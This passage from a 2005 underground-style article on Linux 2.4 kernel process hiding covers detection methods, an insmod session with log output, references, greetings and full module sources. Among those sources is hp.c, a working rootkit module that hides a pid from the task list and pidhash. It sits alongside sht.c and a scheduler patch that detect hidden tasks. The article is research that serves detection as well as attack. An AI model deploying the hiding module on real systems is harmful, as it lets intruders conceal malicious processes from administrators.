__switch_to would make our code execute in unsafe environment - krash -
|
|
since its a partialy switched environment).
|
|
|
|
So this is what the module does, the kernel patch, sh.patch uses the
|
|
mentioned need to run of processes by inserting a call inside the
|
|
schedule() function which was described earlier and checks the structs
|
|
against the current process.
|
|
|
|
So how do we deal with _real_ pid 0 tasks, that we dont catch them
|
|
as being rogues? Remember what ive said about the pid 0 tasks being a
|
|
special breed, they are kernel threads in effect so we can differentiate
|
|
them from normal user land processes because they have no allocated memory
|
|
struct / no userland memory dooh! / and no connected binary format struct
|
|
for that matter (a special case would be when one would have its evil task
|
|
as a mangled kernel thread but i guess we could tell even then by name or
|
|
the number of active kernel threads if its an evil one).
|
|
|
|
Anyway for an example with the *need ro call* method.. For this we launch a
|
|
bash session so that we can _put it on the run queue_ by writing some
|
|
command on it.. like i said, we catch these tasks only when they do
|
|
syscalls
|
|
|
|
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/sht.c -o src/sht.o
|
|
[root@absinth ksched]# insmod sht.o
|
|
[root@absinth ksched]# insmod hp.o pid=`pidof hidden_bash` method=1
|
|
hp.o: init_module: Device or resource busy
|
|
Hint: insmod errors can be caused by incorrect module parameters,
|
|
including invalid IO or IRQ parameters
|
|
You may find more information in syslog or the output from dmesg
|
|
( now we type some command in the hidden bash session to make it run )
|
|
[root@absinth root]# tail /var/log/messages
|
|
.......
|
|
Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr
|
|
0xc72f0000 syscall 175 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
|
|
list / pid is valid )
|
|
Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr
|
|
0xc72f0000 syscall 3 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
|
|
list / pid is valid )
|
|
[root@absinth ksched]# rmmod sht
|
|
|
|
Voila. It works.. it also looks for unhashed or pid 0 tasks; the only
|
|
problem atm is the big output which ill sort out with some list hashed by
|
|
the task address/pid/processor/start_time so that we only get 1 warning
|
|
per hidden process :-/
|
|
|
|
To use the kernel patch instead of the module change to the top of your
|
|
linux source tree and apply it with `patch -p0 < sh.patch` (if you have a
|
|
layout like /usr/src/linux/, cd into /usr/src/). The patch is for the
|
|
2.4.30 branch (although it migth work with other 2.4 kernels; if you need
|
|
it for other kernel versions check with me) and it works just like the
|
|
module just that it hooks directly into the schedule() function and so can
|
|
catch sooner any hidden tasks.
|
|
|
|
Now if some of you are thinking at this point why make public
|
|
research like this when its most likely to get abused, my answer is
|
|
simple, dont be an ignorant, if i have found most of this things on my own
|
|
I dont have any reason to believe others havent and its most likely to
|
|
already been used in the wild, maybe not that widespead but lacking the
|
|
right tools to peek in the kernel memory, we would never know if and how
|
|
used it is already. So shut your suck hole .. the only ppl hurting from
|
|
this are the underground hackers, but then again they are brigth people
|
|
and other more leet methods are ahead :-) just think about hideing a task
|
|
inside another task (sshutup ubra !! lol no peeking)
|
|
.. you will read about it probably in another small article
|
|
|
|
|
|
--[ 5 - references
|
|
|
|
[1] manual pages for ps(1) , top(1) , pstree(1) and the proc(5) interface
|
|
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=ps
|
|
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=top
|
|
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=pstree
|
|
http://linux.com.hk/PenguinWeb/manpage.jsp?section=5&name=proc
|
|
|
|
[2] LRK - Linux Root Kit
|
|
by Lord Somer <webmaster@lordsomer.com>
|
|
http://packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz
|
|
|
|
[3] LKM HACKING
|
|
by pragmatic from THC
|
|
http://reactor-core.org/linux-kernel-hacking.html
|
|
|
|
[4] Syscall redirection without modifying the syscall table
|
|
by Silvio Cesare <silvio@big.net.au>
|
|
http://www.big.net.au/~silvio/stealth-syscall.txt
|
|
http://spitzner.org/winwoes/mtx/articles/syscall.htm
|
|
|
|
[5] Phrack 59/0x04 - Handling the Interrupt Descriptor Table
|
|
by kad <kadamyse@altern.org>
|
|
http://www.phrack.org/show.php?p=59&a=4
|
|
|
|
[6] Phrack 61/0x0e - Kernel Rootkit Experiences
|
|
by stealth <stealth@segfault.net>
|
|
http://www.phrack.org/show.php?p=61&a=14
|
|
|
|
[7] Linux kernel internals #Process and Interrupt Management
|
|
by Tigran Aivazian <tigran@veritas.com>
|
|
http://www.tldp.org/LDP/lki/lki.html
|
|
|
|
[8] Scheduling in UNIX and Linux
|
|
by moz <moz@compsoc.man.ac.uk>
|
|
http://www.kernelnewbies.org/documents/schedule/
|
|
|
|
[9] KernelAnalysis-HOWTO #Linux Multitasking
|
|
by Roberto Arcomano <berto@fatamorgana.com>
|
|
http://www.tldp.org/HOWTO/KernelAnalysis-HOWTO.html
|
|
|
|
[10] chkrootkit - CHecK ROOT KIT
|
|
by Nelson Murilo <nelson@pangeia.com.br>
|
|
http://www.chkrootkit.org/
|
|
|
|
[11] manual page for clone(2)
|
|
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=clone
|
|
|
|
[12] manual page for ptrace(2)
|
|
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=ptrace
|
|
|
|
|
|
|
|
--[ 6 - and the game dont stop..
|
|
|
|
Hei fukers! octavian, trog, slider, raven and everyone else I keep
|
|
close with, thanks for being there and wasteing time with me, sometimes I
|
|
really need that ; ruffus , nirolf and vadim wtf lets get the old team on
|
|
again .. bafta pe oriunde sunteti dudes.
|
|
|
|
If you notice any typos, mistakes, have anything to communicate with
|
|
me feel free make contact.
|
|
|
|
web - w3.phi.group.eu.org
|
|
mail - ubra_phi.group.eu.org
|
|
irc - Efnet/Undernet #PHI
|
|
|
|
* the contact info and web site is and will not be valid/up for a few
|
|
weeks while im moving house, sorry ill get things settled ASAP ( that
|
|
is up until about august of 2005 ), meanwhile you can get in touch
|
|
with me on the email dragosg_personal.ro
|
|
|
|
|
|
--[ 7 - sources
|
|
|
|
<++> src/Makefile
|
|
|
|
all: sht.c hp.c
|
|
gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c
|
|
|
|
|
|
|
|
<-->
|
|
|
|
|
|
|
|
<++> src/hp.c
|
|
/*|
|
|
* hp - hide pid v1.0.0
|
|
* hides a pid using different methods
|
|
* ( demo code for hideing processes paper )
|
|
*
|
|
* syntax : insmod hp.o (pid=pid_no|task=task_addr) [method=0x1|0x2|0x4]
|
|
*
|
|
* coded in 2004 by ubra from PHI Group
|
|
* web - ubra.phi.group.za.org
|
|
* mail - ubra_phi.group.za.org
|
|
* irc - Efnet/Undernet#PHI
|
|
|*/
|
|
|
|
|
|
|
|
#define __KERNEL__
|
|
#define MODULE
|
|
|
|
|
|
#include <linux/module.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/sched.h>
|
|
|
|
|
|
|
|
pid_t pid = 0 ;
|
|
struct task_struct *task = 0 ;
|
|
unsigned char method = 0x3 ;
|
|
|
|
|
|
|
|
int init_module ( ) {
|
|
if ( pid ) {
|
|
task = find_task_by_pid(pid) ;
|
|
printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task ) ;
|
|
if ( task ) {
|
|
write_lock_irq(&tasklist_lock) ;
|
|
if ( method & 0x1 ) {
|
|
printk("[HP] removing process links\n") ;
|
|
REMOVE_LINKS(task) ;
|
|
}
|
|
if ( method & 0x2 ) {
|
|
printk("[HP] unhashing pid\n") ;
|
|
unhash_pid(task) ;
|
|
}
|
|
if ( method & 0x4 ) {
|
|
printk("[HP] zerofing pid\n") ;
|
|
task->pid == 0 ;
|
|
}
|
|
write_unlock_irq(&tasklist_lock) ;
|
|
}
|
|
} else if ( task ) {
|
|
printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ;
|
|
write_lock_irq(&tasklist_lock) ;
|
|
if ( method & 0x1 ) {
|
|
printk("[HP] setting process links\n") ;
|
|
SET_LINKS(task) ;
|
|
}
|
|
if ( method & 0x2 ) {
|
|
printk("[HP] hashing pid\n") ;
|
|
hash_pid(task) ;
|
|
}
|
|
if ( method & 0x4 ) {
|
|
printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ;
|
|
task->pid = task->tgid ;
|
|
}
|
|
write_unlock_irq(&tasklist_lock) ;
|
|
}
|
|
return 1 ;
|
|
}
|
|
|
|
|
|
|
|
|
|
MODULE_PARM ( pid , "i" ) ;
|
|
MODULE_PARM_DESC ( pid , "the pid to hide" ) ;
|
|
|
|
MODULE_PARM ( task , "l" ) ;
|
|
MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ;
|
|
|
|
MODULE_PARM ( method , "b" ) ;
|
|
MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 - linked list , 0x2 - pidhash , 0x4 - zerofy pid" ) ;
|
|
|
|
|
|
MODULE_AUTHOR("ubra @ PHI Group") ;
|
|
MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible methods") ;
|
|
MODULE_LICENSE("GPL") ;
|
|
EXPORT_NO_SYMBOLS ;
|
|
|
|
|
|
|
|
<-->
|
|
|
|
|
|
|
|
<++> src/sht.c
|
|
/*|
|
|
* sht - search hidden tasks v1.0.0
|
|
* checks tasks to be visible upon entering syscall
|
|
* ( demo code for hideing processes paper )
|
|
*
|
|
* syntax : insmod sht.o
|
|
*
|
|
* coded in 2005 by ubra from PHI Group
|
|
* web - w3.phi.group.za.org
|
|
* mail - ubra_phi.group.za.org
|
|
* irc - Efnet/Undernet#PHI
|
|
|*/
|
|
|
|
|
|
|
|
#define __KERNEL__
|
|
#define MODULE
|
|
|
|
|
|
#include <linux/kernel.h>
|
|
#include <linux/module.h>
|
|
#include <linux/sched.h>
|
|
|
|
|
|
|
|
struct idta {
|
|
unsigned short size ;
|
|
unsigned long addr __attribute__((packed)) ;
|
|
} ;
|
|
|
|
|
|
struct idt {
|
|
unsigned short offl ;
|
|
unsigned short seg ;
|
|
unsigned char pad ;
|
|
unsigned char flags ;
|
|
unsigned short offh ;
|
|
} ;
|
|
|
|
|
|
|
|
unsigned long get_idt_addr ( void ) {
|
|
struct idta idta ;
|
|
|
|
asm ( "sidt %0" : "=m" (idta) ) ;
|
|
return idta.addr ;
|
|
}
|
|
|
|
|
|
|
|
unsigned long get_int_addr ( unsigned int intp ) {
|
|
struct idt idt ;
|
|
unsigned long idt_addr ;
|
|
|
|
idt_addr = get_idt_addr() ;
|
|
idt = *((struct idt *) idt_addr + intp) ;
|
|
return idt.offh << 16 | idt.offl ;
|
|
}
|
|
|
|
|
|
|
|
void hook_int ( unsigned int intp , unsigned long new_func , unsigned long *old_func ) {
|
|
struct idt idt ;
|
|
unsigned long idt_addr ;
|
|
|
|
if ( old_func )
|
|
*old_func = get_int_addr(intp) ;
|
|
idt_addr = get_idt_addr() ;
|
|
idt = *((struct idt *) idt_addr + intp) ;
|
|
idt.offh = (unsigned short) (new_func >> 16 & 0xFFFF) ;
|
|
idt.offl = (unsigned short) (new_func & 0xFFFF) ;
|
|
*((struct idt *) idt_addr + intp) = idt ;
|
|
return ;
|
|
}
|
|
|
|
|
|
|
|
asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) ;
|
|
asmlinkage void stub_func ( void ) ;
|
|
|
|
unsigned long new_handler = (unsigned long) &check_task ;
|
|
unsigned long old_handler ;
|
|
|
|
|
|
|
|
void stub_handler ( void ) {
|
|
asm(".globl stub_func \n"
|
|
".align 4,0x90 \n"
|
|
"stub_func : \n"
|
|
" pushal \n"
|
|
" pushl %%eax \n"
|
|
" movl $-8192 , %%eax \n"
|
|
" andl %%esp , %%eax \n"
|
|
" pushl %%eax \n"
|
|
" movl -4(%%esp) , %%eax \n"
|
|
" pushl %%esp \n"
|
|
" call *%0 \n"
|
|
" addl $12 , %%esp \n"
|
|
" popal \n"
|
|
" jmp *%1 \n"
|
|
:: "m" (new_handler) , "m" (old_handler) ) ;
|
|
}
|
|
|
|
|
|
|
|
asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) {
|
|
struct task_struct *task_p = &init_task ;
|
|
unsigned char on_ll = 0 , on_ph = 0 ;
|
|
|
|
if ( ! task->mm )
|
|
return ;
|
|
do {
|
|
if ( task_p == task ) {
|
|
on_ll = 1 ;
|
|
break ;
|
|
}
|
|
task_p = task_p->next_task ;
|
|
} while ( task_p != &init_task ) ;
|
|
if ( find_task_by_pid(task->pid) == task )
|
|
on_ph = 1 ;
|
|
if ( ! on_ll || ! on_ph || ! task->pid )
|
|
printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i - TASK IS HIDDEN ( %s / %s / %s )\n" , task->pid , task->comm , task , regs->orig_eax , on_ll ? "on linked list" : "NOT ON LINKED LIST" , on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST" , task->pid ? "pid is valid" : "PID IS INVALID" ) ;
|
|
return ;
|
|
}
|
|
|
|
|
|
|
|
int sht_init ( void ) {
|
|
hook_int ( 128 , (unsigned long) &stub_func , &old_handler ) ;
|
|
printk("[SHT] loaded - monitoring tasks integrity\n") ;
|
|
return 0 ;
|
|
}
|
|
|
|
|
|
|
|
void sht_exit ( void ) {
|
|
hook_int ( 128 , old_handler , NULL ) ;
|
|
printk("[SHT] unloaded\n") ;
|
|
return ;
|
|
}
|
|
|
|
|
|
|
|
module_init(sht_init) ;
|
|
module_exit(sht_exit) ;
|
|
|
|
|
|
|
|
|
|
MODULE_AUTHOR("ubra / PHI Group") ;
|
|
MODULE_DESCRIPTION("sht - search hidden tasks v1.0.0") ;
|
|
MODULE_LICENSE("GPL") ;
|
|
EXPORT_NO_SYMBOLS ;
|
|
|
|
|
|
<-->
|
|
|
|
|
|
|
|
<++> src/sh.patch
|
|
--- linux-2.4.30/kernel/sched_orig.c 2004-11-17 11:54:22.000000000 +0000
|
|
+++ linux-2.4.30/kernel/sched.c 2005-07-08 13:29:16.000000000 +0000
|
|
@@ -534,6 +534,25 @@
|
|
__schedule_tail(prev);
|
|
}
|
|
|
|
+asmlinkage void phi_sht_check_task(struct task_struct *prev, struct task_struct *next)
|
|
+{
|
|
+ struct task_struct *task_p = &init_task;
|
|
+ unsigned char on_ll = 0, on_ph = 0;
|
|
+
|
|
+ do {
|
|
+ if(task_p == prev) {
|
|
+ on_ll = 1;
|
|
+ break;
|
|
+ }
|
|
+ task_p = task_p->next_task ;
|
|
+ } while(task_p != &init_task);
|
|
+ if (find_task_by_pid(prev->pid) == prev)
|
|
+ on_ph = 1 ;
|
|
+ if (!on_ll || !on_ph || !prev->pid)
|
|
+ printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i <%s> next task addr 0x%x ) - TASK IS HIDDEN ( %s / %s / %s )\n", prev->pid, prev->comm, prev, next->pid, next->comm, next, on_ll ? "on linked list" : "NOT ON LINKED LIST", on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST", prev->pid ? "pid is valid" : "PID IS INVALID");
|
|
+ return;
|
|
+}
|
|
+
|
|
/*
|
|
* 'schedule()' is the scheduler function. It's a very simple and nice
|
|
* scheduler: it's not perfect, but certainly works for most things.
|
|
@@ -634,6 +653,13 @@
|
|
task_set_cpu(next, this_cpu);
|
|
spin_unlock_irq(&runqueue_lock);
|
|
|
|
+ /*
|
|
+ * check task`s structures before we do any scheduling decision
|
|
+ * skip any kernel thread which might yeld false positives
|
|
+ */
|
|
+ if(prev->mm)
|
|
+ phi_sht_check_task(prev, next);
|
|
+
|
|
if (unlikely(prev == next)) {
|
|
/* We won't go through the normal tail, so do this by hand */
|
|
prev->policy &= ~SCHED_YIELD;
|
|
<-->
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
|
|
|
|